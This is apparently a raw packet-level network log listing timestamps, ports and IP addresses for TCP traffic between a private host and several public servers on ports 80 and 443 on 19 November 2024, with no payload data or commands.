Nov 19, 2024 18:00:47.337589979 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337616920 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337625980 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337665081 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337688923 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337706089 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337706089 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.337735891 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.337752104 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.337785959 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.344578028 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.344588995 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.344609022 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.344615936 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.344655037 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.344667912 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.344686031 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.344719887 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.344749928 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.368522882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368546009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368572950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368590117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368606091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368607044 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.368623972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368638992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368655920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368664026 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.368685007 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.368705034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.368870020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368911028 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368927002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.368952990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.368978977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.368993044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369009018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369025946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369044065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369050026 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369076967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369103909 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369275093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369302034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369318008 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369326115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369333029 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369347095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369349003 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369364023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369364977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369383097 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369383097 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369394064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369424105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369441986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369450092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369463921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369477987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369493008 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369502068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369513988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369518042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369533062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369541883 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369549036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369565964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369577885 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369609118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369628906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369645119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369662046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369678020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369683981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369693041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369707108 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369709015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369721889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369738102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369743109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369752884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.369767904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.369806051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370546103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370573044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370585918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370595932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370609045 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370625019 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370640039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370656013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370678902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370692968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370704889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370709896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370723009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370727062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370740891 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370758057 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370767117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370779037 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370780945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370796919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370806932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370812893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370827913 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370830059 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370845079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370847940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370865107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370902061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370903969 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370917082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.370944977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.370958090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371011019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371027946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371042967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371053934 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371058941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371072054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371073961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371083021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371089935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371105909 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371105909 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371121883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371124029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371138096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371145964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371182919 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371514082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371539116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371556044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371572971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371587992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371587992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371603012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371618986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371624947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371638060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371655941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371665955 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371670961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371694088 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371695042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371710062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371730089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371733904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371733904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371745110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371753931 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371759892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371764898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371777058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371786118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371802092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371815920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371819973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371830940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371830940 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371850967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371857882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371871948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371872902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371889114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371898890 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371922970 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371934891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371941090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371951103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371974945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.371975899 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371989012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.371989965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372005939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372014046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372021914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372030973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372037888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372055054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372056007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372078896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372082949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372101068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372102022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372117043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372128010 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372132063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372140884 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372154951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372155905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372169018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372178078 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372184992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372196913 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372200966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372215033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372217894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372235060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372240067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372250080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372251034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372267962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372281075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372281075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372308969 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372332096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372546911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372564077 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372587919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372591972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372602940 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372611046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372617960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372629881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372642040 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372647047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372658968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372664928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372673035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372674942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372697115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372700930 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372713089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372720957 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372728109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372739077 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372745037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372756958 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372761011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372775078 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372776985 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372793913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.372802019 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372822046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.372848034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.384737968 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.384788990 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.384994030 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:47.385019064 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.385812044 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:47.385905981 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:47.385983944 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:47.415877104 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.415894985 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.415913105 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.415994883 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.416008949 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.416060925 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.424465895 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.424531937 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.424551010 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.424570084 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.424607992 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.424629927 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.430942059 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.430989027 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.431022882 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.431030989 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.431087971 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.431864977 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.431935072 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.432811975 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.432851076 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.432882071 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.432889938 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.432924986 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.432955980 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.432972908 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.433001995 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.433064938 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.433072090 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.433231115 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.433310986 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.433324099 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.433336020 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.460062981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460081100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460107088 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460123062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460139036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460151911 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460155010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460177898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460179090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460196972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460222960 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460225105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460237980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460254908 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460268021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460283041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460285902 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460299015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460304022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460314989 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460321903 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460330009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460338116 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460345984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.460364103 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.460383892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461175919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461191893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461208105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461232901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461240053 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461247921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461263895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461275101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461281061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461302042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461323977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461796045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461831093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461860895 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461873055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461880922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461914062 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461930037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461937904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461946011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.461957932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.461975098 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.462007046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462023020 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.462028027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462044001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462052107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.462059975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462070942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.462075949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462085009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.462091923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462104082 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.462106943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462122917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.462127924 CET	49761	80	192.168.2.8	185.215.113.206
